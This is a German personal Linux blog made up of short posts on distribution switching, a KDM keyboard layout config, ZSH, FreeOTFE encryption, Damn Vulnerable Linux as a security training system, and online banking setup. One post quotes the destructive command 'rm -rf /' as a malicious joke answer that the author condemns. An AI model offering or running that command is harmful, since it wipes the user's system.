"Adware" in Ubuntu

So nun gibt es auch unter Ubuntu "Adware". Und das sogar direkt von Canonical. Laut diesem Bugreport wurde das Emailprogramm Evolution unter Ubuntu 10.10 so gepatcht, dass bei jeder versendeten Email eine Signatur mit dem Text "Sent from Ubuntu" hinzugefügt wird. Und das ohne den Benutzer zu fragen. Und wieder ein Grund mehr, wieso mir keine Distribution aus dem Hause Canonical auf die Rechner kommt. Wobei mir solche Aktionen auch bei anderen Distributionen sauer aufstoßen würden.

Nachtrag (24.09.10): Zwischenzeitlich wurde die "Adware" deaktiviert. Die Signatur ist zwar weiterhin angelegt, aber standardmäßig nicht aktiviert.


Darf es auch etwas unsicherer sein?

Eigentlich versuchen die Distributoren, dass ihre Distributionen zum Zeitpunkt der Veröffentlichung so sicher wie möglich sind. Eigentlich... Bei der Distribution DVL ist genau das Gegenteil der Fall. Es wurde soviel falsch konfigurierte, defekte, veraltete und angreifbare Software wie möglich eingebaut. Die Idee für solch eine Distribution stammt von Herrn Dr. Thorsten Schneider, welcher an der Universität Bielefeld Kurse wie "Ethical Hacking - Binary Auditing & RCE" hält.

Was soll das jetzt? Mit DVL soll es primär IT-Studenten als Trainingssystem dienen und ihnen ermöglichen sich in Themen wie Reverse Code Engineering, Buffer Overflows, Shellcode Entwicklung, Web Exploitation und SQL injection einzuarbeiten. Aber auch ganz normale Menschen können sich diese "Spielwiese" herunterladen und damit lernen. Solch ein Wissen kann ja auch dazu dienen z. B. Schwachstellen verwendeter Software zu erkennen und zu beheben bzw. den Entwicklern zu melden. Oder die Software zu wechseln.

Zu finden ist DVL unter Damn Vulnerable Linux. Dort findet man neben diverser Informationen auch die Downloadmöglichkeit.

DVL sollte nicht als Produktivsystem verwendet werden. Am besten installiert man es unter einer virtuellen Umgebung wie VirtualBox oder als Live-DVD. Eine direkte Verbindung ins Internet würde ich ebenfalls nicht empfehlen. Warum, sollte eigentlich klar sein.

Dass man mit dem damit erworbenem Wissen keinen Mist anstellt, sollte klar sein. Und ja, das meine ich ernst.


KDM Deutsch beibringen

Seit einiger Zeit hatte ich das "Problem", dass die Oberfläche von KDM zwar deutsch war, aber das Tastaturlayout für die Eingabe des Benutzernamens und des Passworts in englisch. Das hat mich eigentlich nicht gestört, da ich des öfteren mit dem us_US Tastaturlayout arbeiten muss. Aber Sonntag ist Basteltag und ich habe KDM nun komplett eingedeutscht. War eigentlich ganz einfach. Man legt einfach unter /etc/X11/xorg.conf.d/ die Datei 20-keyboard.conf an und trägt dann folgendes ein:

Section "InputClass"
    Identifier "keyboard"
    MatchIsKeyboard "yes"
    Option "XkbLayout" "de"
    Option "XkbVariant" "nodeadkeys"
Endsection

Nun einfach den Rechner neu starten (den X-Server neu starten funktioniert vermutlich auch) und schwups, konnte ich mich wieder mit dem de_DE Tastaturlayout anmelden.


Early Seeder, Baby

Da ruft man seine Emails ab, um sich über den Lieferstatus diverser Sachen (Auto, Receiver) zu informieren und was findet man im Briefkasten? Den Hinweis, dass es die Early Seeder Torrents für die kommende Version von Mandriva gibt. Da mein NAS auch Bittorrent beherrscht, ist das eigentlich eine gute Gelegenheit dies mal zu testen. Lange Rede, kurzer Sinn. Ich seede jetzt die nächsten Tage mandriva-linux-free-2010-spring-x86_64. Kleinvieh macht auch Mist. Im Moment fast 3 Mbit Downloadgeschwindigkeit bei mir. Und das ist bei Torrents aus dem Haus Mandriva schon nicht schlecht. Bin schon gespannt, was die Jungs und Mädels aus Frankreich so gebastelt haben. Auch wenn ich inzwischen Arch verwende, Mandriva rockt trotzdem. Meiner Meinung nach die beste Einsteigerdistribution schlecht hin.


Das eine Problem geht, das andere kommt

Wie unter https://fryboyter.de/mandriva-ist-tot-lang-lebe-arch-linux-und-mandriva-in-der-box/ nachzulesen, habe ich mein Moneyplex-Problem gelöst. Und schwupps habe ich schon wieder das nächste an der Backe. Ich kann unter Arch nicht mehr brennen. Weder CD noch DVD. Scheinbar bin ich aber nicht alleine. Unter http://bbs.archlinux.org/viewtopic.php?id=98288 gibt es haargenau die gleichen Probleme. Sogar der Brenner ist gleich. Scheinbar ist das aber kein Arch-Problem, da z. B. bei Ubuntubenutzern die gleichen Probleme aufgetreten sind. Ich bin mir absolut nicht sicher, aber eventuell hat Kernel 2.6.33 etwas damit zu tun. Denn erst nach der Installation von selbigem traten die Probleme auf. Am Brenner an sich liegt es nicht, da er unter W7 einwandfrei funktioniert.

Na mal abwarten was dabei herauskommt. Sollte jemand eine Lösung haben, bitte melden.


Muss dieser Mist sein?

Vor nicht mal 3 Stunden war es mal wieder soweit. Auf einem Board wurde die allseits beliebte Frage gestellt, was man zum Hacken unter Linux denn so braucht. Lieben wir sie nicht alle, diese Leute, die 1337 werden wollen? Also ich nicht.

Aber Leute, die dann so saudämliche Ratschläge wie rm -rf / beisteuern finde ich noch tausendmal schlimmer. Da sind mir solche 1337-Kiddies dann doch lieber (zumindest die, die danach fragen müssen, wie man unter Linux hackt. Die haben selten Erfolg). Oder Leute die kreative, nicht destruktive Antworten geben. Wie zum Beispiel, dass man Nethack (ein Spiel) installieren muss. Die machen wenigstens nichts kaputt. Da aber viele davon einfach blind Befehle übernehmen, machen oben genannte Subjekte sehr wohl etwas kaputt.

Gut es ist nicht gerade schlau, Befehle blind zu übernehmen. Man sollte voher eigentlich immer nachsehen, was der Befehl denn so im Detail macht. Im genannten Fall eben alles platt. Aber in der Regel sind solche Leute, und eigentlich die breite Masse im Internet, einfach zu gutgläubig.

Aber macht es Sinn, destruktive Vorschläge zu machen? Nein. Ist man damit besser als der Fragesteller? Nein. Ist man damit mehr 1337? Möglich. Ich bezweifle es aber. Für mich sind solche Leute vom Niveau her sogar noch weiter unten angesiedelt als unsere 1337-Kiddies. Also verdammt tief. Kindergarten reloaded.

Zum Leidwesen vieler "richtiger" Linuxer, sorgen solche Beispiele immer wieder für pauschale Verallgemeinerungen. Linuxer sind elitär, halten sich für etwas besseres usw. Vielen Dank dafür...

So und nun fresst mich.


Mandriva ist tot. Lang lebe Arch Linux und Mandriva in der Box

Ich habe Köpfe mit Nägeln gemacht. Oder so ähnlich.

Seit Version 7.x lief hier eigentlich als Produktivsystem immer Mandriva (ehemals Mandrake). Nun nicht mehr. Ich bin nun wirklich ins Arch-Lager gewechselt. Warum genau kann ich eigentlich nicht sagen. Ich würde mal sagen wegen dem Spieltrieb. Wie lange ich es durchhalte? Gute Frage. Um nicht zu sehr unter den Entzugserscheinungen zu leiden, läuft eine Mandriva-Installation unter VirtualBox weiter. Ganz ohne geht es halt doch nicht.

Die Installation ging, wie auch unter VirtualBox, recht schmerzfrei von statten. Nur der Drucker hat mich Nerven gekostet. Naja eher Cups, das in der aktuellen Version scheinbar so seine Probleme mit USB-Druckern hat. Einzig und alleine mein Homebankingprogramm Moneyplex habe ich bisher noch nicht zum laufen bekommen. Egal was ich mache, ich bekomme immer die Fehlermeldung <strong>/home/holycore/moneyplex/moneyplex: symbol lookup error: /home/mathmos/moneyplex/moneyplex: undefined symbol: initPAnsiStrings</strong>. Sollte jemand die Lösung kennen, bitte melden. Das was man mit Google findet hat nicht wirklich geholfen.  Da muss die Tage vermutlich mal der Support von Moneyplex herhalten. Zwischenzeitlich läuft es eben über die Mandriva-Installation unter VirtualBox.

Nachtrag am 24.05.10:

Scheinbar bin ich dann doch nicht so blöd wie ich aussehe. Ich habe mich heute nochmals dem Problem mit Moneyplex gewidmet. Und was soll ich sagen? Es läuft wieder. Wenn man es genau nimmt war ich mal wieder das Problem. Ich hatte bei meinem ersten Versuch das Paket libjpeg6 6b-9 aus AUR installiert. Das mag Moneyplex scheinbar nicht. Das Paket lib32-libjpeg6 6b-1 aus AUR hat dann Moneyplex auf die Sprünge geholfen.
 


Distributionswechsel - Ja oder nein, das ist hier die Frage

Ab und zu schaue ich mal ganz gerne über meinen Mandriva-Tellerrand hin zu anderen Distributionen. Gerade eben habe ich mich entschlossen, dass es mal wieder soweit ist. Diesmal werde ich mir mal folgende Distributionen unter VirtualBox installieren und damit herumspielen:

PCLinuxOS:

Stammt ursprünglich von Mandriva ab, hat aber heute nur noch wenig damit wirklich gemeinsam. Als Paketverwaltung wird APT-RPM mit Synaptic und nicht mehr URPM verwendet. Schade eigentlich. ;-) Diverse Codecs, Flash und Java sind im Gegensatz zu Mandriva Free bereits von Haus aus enthalten. Vorhanden sind Isos mit Gnome, LXDE, XFCE und Enlightenment sowie KDE. Letzteres Iso lade ich gerade herunter, da ich KDE bevorzuge. Mal sehen, wie es sich so entwickelt hat. Ein Erstkontakt ist es in diesem Fall ja nicht.

Kurz gesagt ist PCLinuxOS eine Desktop-Distribution für den einfachen Gebrauch. Sprich wie Ubuntu. Nur besser. Ja ich mag Ubuntu kein Stück.

Pardus:

Tja viel kann ich dazu eigentlich nicht sagen. Stammt aus der Türkei und wird dort am Nationalen Forschungsinstitut für Elektronik und Kryptologie entwickelt. Pardus hat eine eigene Paketverwaltung namens PiSi, welche in Python programmiert wurde bzw. wird und LZMA verwendet. Soll laut diversen Test wohl sehr auf Benutzerfreundlichkeit ausgelegt sein. Also die ganze Distribution. Da es mindestens zwei deutschsprachige Anlaufstellen gibt, habe ich mich deshalb entschlossen mir diese Distribution mal genauer anzusehen.

Nun bleibt noch die Frage aus dem Titel. Distributionswechsel - Ja oder nein? Ich bin mir ziemlich sicher, nein. Seit Jahren schafft es keine andere Distribution mich dauerhaft von Mandrake bzw. Mandriva wegzulocken. Bin ich ein Mandriva-Fanboy? Zu einem kleinen Teil vermutlich schon. Aber Mandriva ist objektiv betrachtet einfach eine "geile" Distribution. Nur kennt sie eben fast keiner. Tja es hat ja nicht jeder x Millionen fürs Marketing übrig. Und das Unternehmen, dass hinter der Distribution steht, muss man auch nicht verstehen. Aber das ist eine andere Geschichte.


FreeOTFE - TrueCrypt-Alternative ohne Administratorrechte

Bisher habe ich schützenswerte Dateien auf meinen USB-Sticks immer mit TrueCrypt verschlüsselt. Wer hätte das gedacht. ;-)

Leider kommt es immer öfters vor, dass ich an Rechnern arbeite, bei denen TrueCrypt nicht installiert ist und ich mir auch nicht mal eben Administratorrechte verschaffen kann. Deswegen habe ich mir mal Alternativen zur portablen Version von TrueCrypt angesehen, mit denen man zumindest Lesezugriff auf seine verschlüsselten Daten bekommt, ohne dass das Programm installiert sein muss oder man über Administratorrechte verfügen muss. Die Auswahl war nicht gerade berauschend. Quasi nicht vorhanden trifft es eigentlich besser. Zumindest wenn man einigermaßen sicher sein will.

Schlussendlich bin ich dann bei FreeOTFE gelandet. Damit erstellte Container können unter Windows als auch Linux verwendet werden. Schon mal ein Pluspunkt für mich. Und es gibt einen sogenannten FreeOTFE Explorer. Damit kann man unter Windows auch ohne Administratorrechte auf den Containerinhalt zugreifen. Bis TrueCrypt 4.2 (wenn ich mich jetzt nicht irre) gab es so etwas auch für TrueCrypt. Dieser TrueCrypt-Explorer basierte laut meinen Informationen sogar auf dem FreeOTFE Explorer. Da ich das "Administratorproblem" eigentlich nur mit Windowsbüchsen habe, passt das auch wie die Faust aufs Auge.

Für die paranoide Fraktion lassen sich übrigens auch sogenannte hidden Volumes, wie man sie von TrueCrypt her kennt, erstellen. Meiner Meinung nach ist das zwar absoluter Blödsinn, aber hinter mir ist ja auch nicht die CIA, das FBI und die Freimaurer her.

Neben der normalen Version, mit welcher man das Programm bzw. den Explorer fest installieren kann, werden auch noch normale portable und U3 Versionen zum Download angeboten.

Lange Rede, kurzer Sinn. Wer für seinen externen Medien eine TrueCrypt-Alternative sucht, welche ohne Administratorrechte auskommt, sollte sich FreeOTFE einmal ansehen. Diese Lösung ist immer noch besser als verschlüsselte 7zip-Archive.

So wie es aussieht, ist der Vertrag der offiziellen Internetseite von FreeOTFE nicht erneuert worden und somit hat sich jemand anderes die Domain unter den Nagel gerissen. Da die Entwicklerin von FreeOTFE auch nicht mehr über die mir bekannten E-Mail-Adressen erreichbar ist, gehe ich davon aus, dass die Entwicklung des Programms nun endgültig tot ist. Die letzte Version findet man allerdings noch unter http://sourceforge.net/projects/freeotfe.mirror/files/.

Rebootin

Hauptsächlich verwende ich ja Mandriva als Betriebssystem. Ab und zu kommt es allerdings vor, dass ich auch mal Windows 7 booten muss. Zum Beispiel zum Zocken. Das geht unter Windows einfach besser.

Bei einem Neustart muss ich dann allerdings immer den gewünschten Eintrag in Grub auswählen. Eigentlich kein Ding, aber es nervt doch irgendwie. Gerade wenn man öfters mal Windows starten muss. Vor einiger Zeit bin ich auf "Rebootin" gestoßen. Damit kann unter Mandriva (und vermutlich jeder anderen Linuxdistribution) Grub mitteilen, welchen Eintrag aus der menu.lst gestartet werden soll.

Mit rebootin -l kann man sich die Einträge aus der menu.lst anzeigen lassen. Bei mir wird zum Beispiel folgendes angezeigt:

linux linux-nonfb failsafe windows

Mittels rebootin windows wird Mandriva heruntergefahren und Windows automatisch gestartet. So lassen sich recht einfach kleine Scripte anlegen, mit denen man die gewünschten Einträge booten kann.

Ich würde das jetzt nicht als "must have" einordnen, aber in manchen Situationen ist das doch irgendwie recht angenehm.

Rebootin ist übrigens Bestandteil des Paketes "bootloader-utils". Zumindest unter Mandriva.


Werde ich zum LaTeX-Fetischist?

Na wer bei dem Titel gerade an Gummipuppen, hautenge Kleidung und schlüpfrige Themen gedacht? Tja dumm gelaufen. Das meine ich nämlich nicht.

Die Rede ist von LaTeX, welches ich demnächst wahrscheinlich für ein Benutzerhandbuch einsetzen werde. Um Erfahrungen zu sammeln, werde ich mich deshalb an den Howtos und Co. auf meinem Board vergreifen und diese mit LaTeX in ein optisch ansprechendes Format bringen und dann als PDF-Datei anbieten.

Apropos Board... Das Upgrade hat besser geklappt als gedacht. Lediglich das alte Theme hat mich zum Wahnsinn getrieben (und wurde deshalb erst mal gegen ein neues ausgetauscht). Bis auf ein paar Kleinigkeiten, die unterm Strich dann doch lange gedauert haben, war es kein Problem. Die Anzahl der Modifikationen konnte auch verringert werden, da viele Funktionen nun von Haus aus im SMF enthalten sind.


Die Königin der Shells

Auch wenn sie die "Königin" ist, habe ich sie in den letzten Monaten ziemlich vernachlässigt. Irgendwann 2009 habe ich mir wegen meines Spieltriebes mal die ZSH installiert und war nach einigen Anpassungen an den Konfigurationsdateien hin und weg. Man merkt einfach, dass viele Funktionen anderer Shells wie der BASH oder ksh aufgenommen und zum Teil stark verbessert wurden. Befehlsvervollständigung, Rechtschreibprüfung, eine geniale TAB-Vervollständigung, erweitertes Globbing, ladbare Module, erweiterte History usw. Man möge mir es mir verzeihen, aber ich finde die ZSH einfach nur geil. Die BASH ist auch nicht schlecht und reicht für die meisten sicherlich vollkommen aus (habe damit ja auch mehrere Jahre gearbeitet), aber die ZSH ist einfach besser. Punkt. Ende. Aus. ;-)

Da man leider nicht eine umfassende Quelle zu Thema ZSH findet, habe ich mir vor einiger Zeit das Buch "Zsh - die magische Shell", welches nicht gerade dick ist, aber dennoch 25 Euro kostet, gekauft. Aufgrund von Zeitmangel und anderen Büchern, die ich vorher lesen wollte, verstaubt das Buch nun eingeschweißt im Regal. Durch einen Zufall bin ich heute auf diesen Blogeintrag gestoßen und ein paar nette "Themes" für den ZSH-Prompt gefunden.

Tja da war es wieder. Das ZSH-Fieber, wegen dem ich gerade wieder ein paar Änderungen an der .zshrc gemacht habe. Obwohl ich gerade ein anderes Buch lese, werde ich heute wohl als Bettlektüre mit oben genanntem Buch beginnen. Man muss auch Opfer bringen können.

Mal sehen, ob ich in den nächsten Tagen hier oder im Forum mal meine Konfigurationsdateien der ZSH veröffentliche. Sollte jemand den Drang verspüren, seine Konfigurationsdateien hier zur Schau zu stellen, dann los. So kann ich meine vermutlich noch verbessern. Perfekt ist sie ja noch lange nicht. Wer quasi die eierlegende Wollmilchsau unter den ZSH-Konfigurationsdateien haben will, kann sich mal unter http://grml.org/zsh/ umsehen. Besser geht es wahrscheinlich nicht. Das ganze ist mir aber zuviel des guten.


Dropbox vernünftig mit einem TrueCrypt-Container verwenden

Dropbox ist ja eigentlich eine schöne Sache, um von unterschiedlichen Lokalitäten (nein damit sind keine Kneipen gemeint) auf diverse Daten zuzugreifen. Oder um einfach gewisse Daten außerhalb des Rechners zu sichern. Da aber die Verschlüsselung auf der Seite des Anbieters läuft, bin ich mit solchen Diensten immer sehr vorsichtig. Man kann auch sagen leicht paranoid. Der Einsatz eines TrueCrypt-Containers wäre zwar kein Problem, aber oft wird dann bei einer Aktualisierung immer die gesamte Datei neu hochgeladen und nicht nur die Änderungen. Das kann bei einer geringen Uploadgeschwindigkeit und 2 GB schon mal etwas dauern. Laut dem Dropbox-Client sind es bei mir noch 8 Stunden (weshalb ich das ganze lieber auf morgen verschoben habe. Bin heute Abend ja nicht daheim und deswegen ist der Rechner aus).

Soeben habe ich aber die Lösung gefunden. Caschy beschreibt in seinem Blog eigentlich sehr gut, wie man das Problem bei der Aktualisierung der Containerdatei umgehen kann. Im Grunde ist es eigentlich ganz einfach. Nur muss man es halt erst einmal wissen. Aber lest selbst.

Bei der Linuxversion nennt sich der Punkt im übrigen "Preserve modification time of file containers".

Ich werde das ganze morgen mal etwas genauer testen. Zum Hochladen eines 2 GB Containers fehlt mir heute die Zeit. Und auf einen kleineren Container habe ich keine Lust.


Early Seeder oder Last Minute Seeder?

Wie bereits geschrieben, habe ich mich ja erfolgreich als "Early Seeder" anmelden können. Was soll ich sagen? Beim Unternehmen Mandriva ist vermutlich mal wieder das Chaos ausgebrochen. Über die Torrents für die "Early Seeders" wurde ich schon mal nicht informiert. Da bin ich allerdings nicht alleine. Zudem wurde zeitgleich damit begonnen, die FTP-Server, die ja eigentlich durch die Verteilung per Bittorrent entlastet werden sollen, mit den Isos bestücken. Somit hat auch dieses mal das "Early Seeder Programm" nicht gerade viel Sinn gemacht. Zumindest nicht so viel, wie wenn mehr Zeit gewesen wäre. Ich vermute einfach mal, dass die Iso-Dateien erst in letzter Minute fertig wurden und man das Veröffentlichungsdatum so gut wie möglich einhalten wollte.

Naja was solls. Die 64Bit-Version von Mandriva Free liegt auf meiner Platte und wurde gestern auch schon installiert. Jetzt seede ich die Iso-Datei eben ganz normal. Über das Unternehmen Mandriva kann man denken was man will, aber die Distribution ist auch dieses mal wieder sehr gut gelungen. Somit ist und bleibt Mandriva Linux für mich die beste Distribution.

Gegen den Root-Exploit für Linux, dem heute x Arktikel gewidmet wurden, ist die aktuelle Mandriva-Version scheinbar von Haus aus immun, da mmap_min_addr auf 4096 und nicht auf 0 steht. Ich sag's ja. Mandriva rockt.


Seit heute bin ich "Early Seeder" für Mandriva 2010

Endlich hat es mal geklappt. Heute konnte ich mich bei Mandriva als sogenannter "Early Seeder" registrieren. Sprich ich mir werden die Iso-Dateien der Free-Version (Powerpack-Abo habe ich keines) schon vor der offziellen Freigabe zur Verfügung stellt. Dafür verteile ich dann mit anderen "Early Seeders" das ganze per Bittorrent, so das nach Freigabe der Isos für jeden bereits viele Seeder vorhanden sind und die Downloadgeschwindigkeit nicht komplett im Keller ist. Wer sich ebenfalls als "Early Seeder" registrieren will, kann dies unter https://my.mandriva.com/earlyseeders tun. Ein Benutzerkonto bei Mandriva, welches kostenlos ist, ist allerdings Voraussetzung. Dies kann man unter https://my.mandriva.com/ anlegen.


Onlinebanking unter Linux - Und es geht doch

Ich habe es mal wieder gewagt. Den Versuch Onlinebanking nicht mehr unter Windows sondern unter Linux zu tätigen.

Auslöser war im Grunde genommen der Wechsel auf Windows 7. Für meinen bisherigen Kartenleser aus dem Hause Kobil gibt es im Moment leider nur Treiber im Betastadium, mit denen es auf meinem Hauptrechner ziemliche Probleme gab. Vielleicht hatte auch "nur" VR-Networld so seine Probleme mit dem Treiber. Auf jeden Fall hat es nicht wirklich zufriedenstellend funktioniert. Da der vorhandene Kartenleser unter Linux auch nicht gerade bequem zu installieren ist und ich keine Zeit habe auf stabile Treiber zu warten, habe ich mich spontan entschlossen mir das Bundle, bestehend aus Moneyplex 2009 für Linux und den Kartenleser ReinertSCT Cyberjack e-com zu kaufen. Gut das war mit knapp 120 Euro mal wieder nicht gerade billig, aber "Geiz ist geil" sollte man gerade bei solch einem Thema lieber vergessen. Mitten in der Nacht bei matrica bestellt, und bereits am nächsten Tag vor 12 Uhr verschickt. Die haben scheinbar auf meine Bestellung gewartet.

Als dann am nächsten Tag die Bestellung bei mir aufschlug, wollte ich das Ganze gleich Abends installieren. Als mir plötzlich aufgefallen ist, dass ich ja meine Datensicherung von VR-Networld nicht einfach so importieren kann. Klasse... Nach einer Installations- und Updateorgie (hatte nur eine Uraltversion hier herumliegen) auf einem Testsystem mit XP konnte ich endlich die Datensicherung einspielen und als CSV-Dateien exportieren. Tja wieso einfach, wenn es auch kompliziert geht.

So nun aber...

Naja was soll ich sagen. Es gibt bei ReinerSCT zwar fertige Pakete für meine Distribution (Mandriva), aber leider nur für die Version 2007. Aktuell ist 2009.1 und die 2010 steht auch schon fast vor der Tür.  Ok Mandriva ist in Deutschland ja nicht so verbreitet. Dann ist eben mal wieder Marke Eigenbau mit den Sourcen angesagt. Mir schwant schon mal schlimmes... So ähnlich hat es beim Kartenleser von Kobil auch angefangen. Also los. Sourcen heruntergeladen und nach /opt entpackt. Das hat immerhin schon mal geklappt. Dadurch ermutigt schnell eine ./configure ausgeführt. Wusste ich es doch... Es fehlen Pakete. Naja die Ausgabe von ./configure war wenigstens aufschlussreich, so dass ich mit urpm schnell alles nötige nachinstallieren konnte. Keine Minute später also ./configure Teil 2. Geht doch. Als nächstes make. Keine Fehler. Ich bin kurz davor den Champagner zu öffnen. Als nächstes noch ein make install mit Rootrechten ausgeführt. Der Champagnerkorken knallt, trifft aber Gott sei dank niemanden.

Als nächstes also Moneyplex. CD gemountet, Shellskript ausgeführt, der Anleitung gefolgt, fertig. Lässt man mal die Geschichte VR-Networld und der Datensicherung außer acht, hat das ganze keine 10 Minuten gedauert. Geht doch. Gut dann starten wir das Programm einfach mal. Der Kartenleser lässt sich nachdem ich die korrekte CTAPI ausgewählt habe, sofort ansprechen. Die Einrichtung der Bankverbindung und der Konten klappt auch ohne Probleme. Der Datenexport aus VR-Networld wird auch ohne murren geschluckt. Das kann eigentlich nur ein ganz dickes Ende bedeuten (nein ich bin kein Pesimist. Nur Realist mit jahrelanger Erfahrung)... Dann aktualisieren wir mal das Programm und die Konten. Nichts. Rein gar nichts ist schief gegangen. Kurz gesagt, es funktioniert alles. 

Einen Minuspunkt gibt es bei der Geschichte aber dennoch. Die Optik von Moneyplex ist ziemlich gewöhnungsbedürftig. Aber wenigstens funktioniert es. Und ich habe auch schon mit schlimmeren Programmen gearbeitet. Von daher ist im Moment alles im grünen Bereich.